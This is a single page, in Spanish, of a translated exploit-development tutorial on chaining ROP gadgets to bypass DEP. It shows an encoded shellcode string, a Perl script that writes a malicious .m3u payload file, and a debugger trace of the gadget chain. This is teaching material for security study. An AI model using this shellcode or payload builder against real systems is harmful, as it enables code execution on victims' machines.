Creacion de Exploits 10_ Uniendo DEP con ROP - El Cubo de Rubik [TM]

Page 63

Creación de Exploits 10: Uniendo DEP con ROP – El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson/CLS "\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50" "\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43" "\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43" "\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50" "\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48" "\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46" "\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e" "\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45" "\x5a\x41\x41";

. . . . . . . .

my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest; print "Payload size : ".length($payload)."n"; print "Shellcode size : ".length($shellcode)."n"; open($FILE,">$file"); print $FILE $payload; close($FILE); print “Archivo m3u $file creado exitosamente”;

Tracemos en el depurador y veamos qué pasa después de se ejecute ADD ESP, 20 + RET: El RET vuelve a 0x763C982F que pone EDI en ESI. En este momento, los registros tienen este aspecto:

EAX y ESI apuntan ahora a la dirección guardada en la pila. Este Gadget vuelve a 0x1002DC4C, lo que sumará 0x100 bytes a EAX. Esto aumentará el valor de EAX a 0010F834, que apunta a los NOP´s antes de la Shellcode:


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.